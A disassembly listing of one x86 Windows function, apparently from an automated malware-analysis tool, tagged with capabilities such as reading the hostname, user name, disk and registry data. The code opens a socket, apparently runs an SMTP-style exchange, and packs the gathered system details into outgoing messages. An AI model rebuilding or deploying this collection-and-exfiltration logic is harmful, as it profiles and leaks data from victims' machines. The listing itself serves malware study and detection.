Function at 0x4025a5
Capabilities:
Get disk information
Get file size
Get hostname
Get session user name
Initialize winsock library
Query or enumerate registry value

Disassembly:
enter 0xd58, 1
push ebx
push esi
push edi
push 0x40b5c1
push 0x40331a
call fcn.00408e78
mov al, 0
mov dword [ebp - 0xd5c], eax
lea eax, [ebp - 0x1bf]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
test eax, eax
je 0x4025dd
jmp 0x403302
lea eax, [ebp - 0x21]
push eax
lea eax, [ebp - 0x2f0]
push eax
push 0x19
push 0x40b4ad
push dword [ebp + 0xc]
call fcn.0040236a
pop eax
push dword [eax]
call fcn.0040888c
cmp dword [ebp - 0x21], 0
jne 0x40260a
jmp 0x4032f2
push 0xdc
call fcn.00401d69
test al, al
jne 0x40261d
jmp 0x4032f2
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x20]
call fcn.00407e6a
push 0x40cd50
push dword [ebp + 0xc]
call fcn.00407ebd
call fcn.00401e26
test al, al
jne 0x40264a
jmp 0x4032f2
push 0xfa
call fcn.00401d69
test al, al
jne 0x40265d
jmp 0x4032f2
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x4c]
call fcn.00407e6a
push 0x40cd50
push 0x40b4b3
call fcn.00407ebd
push 0x40cd50
push 0x40b4c1
call fcn.00407ebd
call fcn.00401e26
test al, al
jne 0x40269b
jmp 0x4032f2
push 0xfa
call fcn.00401d69
test al, al
jne 0x4026ae
jmp 0x4032f2
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x54]
call fcn.00407e6a
push 0x40cd50
push dword [ebp + 8]
call fcn.00407ebd
push 0x40cd50
push 0x40b4c3
call fcn.00407ebd
call fcn.00401e26
test al, al
jne 0x4026ea
jmp 0x4032f2
push 0xfa
call fcn.00401d69
test al, al
jne 0x4026fd
jmp 0x4032f2
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x60]
call fcn.00407e6a
call fcn.00401e26
test al, al
jne 0x40271d
jmp 0x4032f2
push 0x162
call fcn.00401d69
test al, al
jne 0x402730
jmp 0x4032f2
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x64]
call fcn.00407e6a
push 0x40cd50
push dword [ebp + 8]
call fcn.00407ebd
call fcn.00401e26
test al, al
jne 0x40275d
jmp 0x4032f2
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x68]
call fcn.00407e6a
push 0x40cd50
push 0x40b4c5
call fcn.00407ebd
call fcn.00401e26
test al, al
jne 0x40278c
jmp 0x4032f2
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x6c]
call fcn.00407e6a
call fcn.00401e26
test al, al
jne 0x4027ac
jmp 0x4032f2
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x70]
call fcn.00407e6a
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax]
call fcn.00407ebd
call fcn.00401e26
test al, al
jne 0x4027dd
jmp 0x4032f2
lea eax, [ebp - 0x31]
push eax
call sub.kernel32.dll_GetLocalTime
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x2f4]
push eax
movzx eax, word [ebp - 0x2d]
push dword [eax*4 + 0x40c1a3]
call fcn.004088c4
push 0x40b4db
call fcn.00408928
lea eax, [ebp - 0x2f8]
push eax
movzx eax, word [ebp - 0x2b]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00408928
push 0x40b4e6
call fcn.00408928
movzx eax, word [ebp - 0x2f]
dec eax
push dword [eax*4 + 0x40c1bf]
call fcn.00408928
push 0x40b4f0
call fcn.00408928
lea eax, [ebp - 0x2fc]
push eax
movzx eax, word [ebp - 0x31]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00408928
push 0x40b4fa
call fcn.00408928
lea eax, [ebp - 0x300]
push eax
movzx eax, word [ebp - 0x29]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00408928
push 0x40b504
call fcn.00408928
lea eax, [ebp - 0x304]
push eax
movzx eax, word [ebp - 0x27]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00408928
push 0x40b50e
call fcn.00408928
lea eax, [ebp - 0x308]
push eax
movzx eax, word [ebp - 0x25]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00408928
push 0x40b518
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
push 0x40cd50
push 0x40b51b
call fcn.00407e6a
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x74]
call fcn.00407ebd
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x7c]
call fcn.00407ebd
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x80]
call fcn.00407ebd
push 0x40cd50
mov eax, dword [ebp - 0x19]
push eax
call fcn.00407ebd
push 0x40cd50
push 0x40b520
call fcn.00407ebd
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x84]
call fcn.00407ebd
push 0x40cd50
mov eax, dword [ebp - 0x21]
push eax
call fcn.00407ebd
push 0x40cd50
push 0x40b523
call fcn.00407ebd
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x88]
call fcn.00407ebd
and dword [ebp - 0x1db], 0
push 0
call fcn.004011ca
push eax
call sub.kernel32.dll__lopen
mov esi, eax
cmp esi, 0xffffffff
je 0x4029b2
push 0
push esi
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x1db], eax
push esi
call sub.kernel32.dll__lclose
cmp dword [ebp - 0x1db], 0x400
jge 0x402a05
lea eax, [ebp - 0x1d]
push eax
lea eax, [ebp - 0x310]
push eax
push dword [ebp - 0x1d]
call fcn.004088c4
lea eax, [ebp - 0x30c]
push eax
push dword [ebp - 0x1db]
call fcn.00401000
pop eax
push dword [eax]
call fcn.00408928
push 0x40b530
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x402a5c
lea eax, [ebp - 0x1d]
push eax
lea eax, [ebp - 0x31c]
push eax
push dword [ebp - 0x1d]
call fcn.004088c4
lea eax, [ebp - 0x318]
push eax
mov eax, dword [ebp - 0x1db]
mov dword [ebp - 0x314], eax
fild dword [ebp - 0x314]
fdiv dword [0x40b537]
call fcn.00408efc
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00408928
push 0x40b543
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x51c]
push eax
push 0x40b547
call fcn.00408600
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x8c]
call fcn.00407f26
call fcn.004086a8
call fcn.004087d8
lea eax, [ebp - 0x520]
push eax
call fcn.00401498
pop eax
push dword [eax]
call fcn.00408928
push 0x40b552
call fcn.00408928
lea eax, [ebp - 0x628]
push eax
lea eax, [ebp - 0x624]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x90]
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408928
lea eax, [ebp - 0x72c]
push eax
lea eax, [ebp - 0x728]
push eax
call fcn.004011ca
push eax
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408928
push 0x40b55d
call fcn.00408928
push dword [ebp - 0x1d]
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
push 0x40cd50
mov eax, dword [ebp - 0x19]
push eax
call fcn.00407ebd
mov dword [ebp - 9], 0xfe
lea eax, [ebp - 0xd]
push eax
push 0x20019
push 0
mov eax, dword [0x40c86c]
push dword [eax + 0x94]
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402c87
lea eax, [ebp - 9]
push eax
push 0x40dd52
push 0
push 0
mov eax, dword [0x40c86c]
push dword [eax + 0x118]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402b8a
push 0x47
call fcn.0040254f
lea eax, [ebp - 9]
push eax
push 0x40dd52
push 0
push 0
mov eax, dword [0x40c86c]
push dword [eax + 0x11c]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402bb5
push 0x48
call fcn.0040254f
lea eax, [ebp - 9]
push eax
push 0x40dd52
push 0
push 0
mov eax, dword [0x40c86c]
push dword [eax + 0x120]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402be0
push 0x49
call fcn.0040254f
lea eax, [ebp - 9]
push eax
push 0x40dd52
push 0
push 0
mov eax, dword [0x40c86c]
push dword [eax + 0x124]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402c0b
push 0x4a
call fcn.0040254f
lea eax, [ebp - 9]
push eax
push 0x40dd52
push 0
push 0
mov eax, dword [0x40c86c]
push dword [eax + 0x128]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402c36
push 0x4b
call fcn.0040254f
lea eax, [ebp - 9]
push eax
push 0x40dd52
push 0
push 0
mov eax, dword [0x40c86c]
push dword [eax + 0x12c]
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x402c61
push 0x4c
call fcn.0040254f
push 0x40cd50
push 0x40b560
call fcn.00407ebd
push 0x40cd50
push 0x40ca4a
call fcn.00407ebd
push dword [ebp - 0xd]
call sub.advapi32.dll_RegCloseKey
call fcn.00401e26
test al, al
jne 0x402c95
jmp 0x4032f2
mov dword [ebp - 9], 0x100
lea eax, [ebp - 9]
push eax
push 0x40dd52
call sub.kernel32.dll_GetComputerNameA
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0xc8]
call fcn.00407e6a
push 0x40cd50
push 0x40dd52
call fcn.00407ebd
lea eax, [ebp - 9]
push eax
push 0x40dd52
call sub.advapi32.dll_GetUserNameA
push 0x40cd50
push 0x40b573
call fcn.00407ebd
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0xcc]
call fcn.00407ebd
push 0x40cd50
push 0x40dd52
call fcn.00407ebd
push 0x40cd50
push 0x40b576
call fcn.00407ebd
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0xd0]
call fcn.00407ebd
push 0x40cd50
call fcn.00401090
push eax
call fcn.00407ebd
push 0x40cd50
push 0x40b579
call fcn.00407ebd
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x98]
call fcn.00407ebd
mov esi, 3
lea eax, [ebp - 0x1d]
push eax
lea eax, [ebp - 0x730]
push eax
mov eax, esi
add eax, 0x40
push eax
call fcn.004087c0
push 0x40b588
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
push 0x40dd52
mov eax, dword [ebp - 0x1d]
push eax
call fcn.00407e6a
push 0x40dd52
call sub.kernel32.dll_GetDriveTypeA
mov dword [ebp - 0x1db], eax
cmp dword [ebp - 0x1db], 0
je 0x403003
cmp dword [ebp - 0x1db], 1
je 0x403003
push 0x40dd52
push 0x40b58b
call fcn.00407e6a
push 0x40dd52
mov eax, dword [ebp - 0x1d]
push eax
call fcn.00407ebd
mov eax, dword [ebp - 0x1db]
sub eax, 3
jne 0x402e28
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x834]
push eax
lea eax, [ebp - 0x830]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0xd8]
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x402f2e
inc eax
jne 0x402e5f
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0x938]
push eax
lea eax, [ebp - 0x934]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0xdc]
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x402f2e
dec eax
dec eax
jne 0x402e97
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xa3c]
push eax
lea eax, [ebp - 0xa38]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x114]
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x402f2e
dec eax
jne 0x402ecb
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xb40]
push eax
lea eax, [ebp - 0xb3c]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x130]
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x402f2e
dec eax
jne 0x402eff
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xc44]
push eax
lea eax, [ebp - 0xc40]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x134]
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x402f2e
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xd48]
push eax
lea eax, [ebp - 0xd44]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0xe4]
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
mov eax, dword [ebp - 0x19]
test eax, eax
je 0x402f38
mov eax, dword [eax - 4]
cmp eax, 0xf
jge 0x402f73
mov eax, dword [ebp - 0x19]
test eax, eax
je 0x402f47
mov eax, dword [eax - 4]
cmp eax, 0xf
jge 0x402f73
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xd4c]
push eax
push dword [ebp - 0x19]
call fcn.004088c4
push 0x40b597
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x402f3d
push 0x40dd52
push 0x40b599
call fcn.00407ebd
push 0x40dd52
mov eax, dword [ebp - 0x19]
push eax
call fcn.00407ebd
push 0x40cd50
push 0x40dd52
call fcn.00407ebd
cmp dword [ebp - 0x1db], 3
jne 0x402fc5
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xd50]
push eax
push dword [ebp - 0x1d]
call fcn.00401bcc
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x402fd0
lea eax, [ebp - 0x19]
push eax
push 0
call fcn.0040888c
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xd54]
push eax
push dword [ebp - 0x19]
call fcn.004088c4
push 0x40b5a6
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
push 0x40cd50
mov eax, dword [ebp - 0x19]
push eax
call fcn.00407ebd
inc esi
cmp esi, 0x18
jle 0x402d6c
call fcn.00401e26
test al, al
jne 0x40301b
jmp 0x4032f2
push 0x40cd50
push 0x40b5a9
call fcn.00407e6a
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0x9c]
call fcn.00407ebd
lea eax, [ebp - 0xd]
push eax
push 1
push 0
mov eax, dword [0x40c86c]
push dword [eax + 0xa0]
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403139
mov esi, 1
mov dword [ebp - 9], 0xfe
lea eax, [ebp - 0x19]
push eax
lea eax, [ebp - 0xd58]
push eax
push esi
call fcn.00401000
pop eax
push dword [eax]
call fcn.0040888c
push 0x40c948
mov eax, dword [0x40c86c]
push dword [eax + 0xa4]
call fcn.00407e6a
push 0x40c948
mov eax, dword [ebp - 0x19]
push eax
call fcn.00407ebd
lea eax, [ebp - 9]
push eax
push 0x40dd52
push 0
push 0
push 0x40c948
push dword [ebp - 0xd]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x403117
push 0x40cd50
push 0x40b5ac
call fcn.00407ebd
push 0x40cd50
push 0x40c948
call fcn.00407ebd
push 0x40cd50
push 0x40b5b0
call fcn.00407ebd
push 0x40cd50
push 0x40dd52
call fcn.00407ebd
push 0x40cd50
push 0x40b5b4
call fcn.00407ebd
jmp 0x403119
jmp 0x403123
inc esi
cmp esi, 0x32
jle 0x403069
push dword [ebp - 0xd]
call sub.advapi32.dll_RegCloseKey
call fcn.00401e26
test al, al
jne 0x403139
jmp 0x4032f2
cmp dword [0x40c874], 0
je 0x403192
push 0x40cd50
push 0x40b5b7
call fcn.00407e6a
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0xac]
call fcn.00407ebd
push 0x40cd50
push 0x40fd56
call fcn.00407ebd
push 0x40cd50
push 0x40b5ba
call fcn.00407ebd
call fcn.00401e26
test al, al
jne 0x403192
jmp 0x4032f2
mov eax, dword [0x40c86c]
push dword [eax + 0x10]
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x403245
and dword [0x40c91c], 0
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0xb0]
call fcn.00407e6a
mov eax, dword [0x40c86c]
push dword [eax + 0x30]
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x40c87c], eax
cmp dword [0x40c87c], 0
je 0x403231
push 0
push 0x401731
push 0xff
push 0
push 0
call dword [0x40c87c]
test ax, ax
je 0x403213
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0xb4]
call fcn.00407ebd
jmp 0x403231
cmp dword [0x40c91c], 0
jne 0x403231
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0xb8]
call fcn.00407ebd
push esi
call sub.kernel32.dll_FreeLibrary
call fcn.00401e26
test al, al
jne 0x403245
jmp 0x4032f2
push 0x40cd50
call fcn.004011ca
push eax
call fcn.00407e6a
push 1
push 1
push 0x40cd50
call fcn.00401ee2
push 0x40cd50
push 0x40ca4a
call fcn.00407e6a
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0xc]
call fcn.00407ebd
push 0
push 0
push 0x40cd50
call fcn.00401ee2
push 2
push 1
push 0x40cc4e
call fcn.00401ee2
push 0x40cd50
push 0x40b5bd
call fcn.00407e6a
call fcn.00401e26
test al, al
jne 0x4032ba
jmp 0x4032f2
push 0xfa
call fcn.00401d69
test al, al
jne 0x4032ca
jmp 0x4032f2
push 0x40cd50
mov eax, dword [0x40c86c]
push dword [eax + 0xbc]
call fcn.00407e6a
call fcn.00401e26
test al, al
jne 0x4032ea
jmp 0x4032f2
mov al, 1
mov dword [ebp - 0xd5c], eax
push dword [0x40c944]
call sub.wsock32.dll_closesocket
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x403321
push 0x40b5c1
call fcn.00408ecc
ret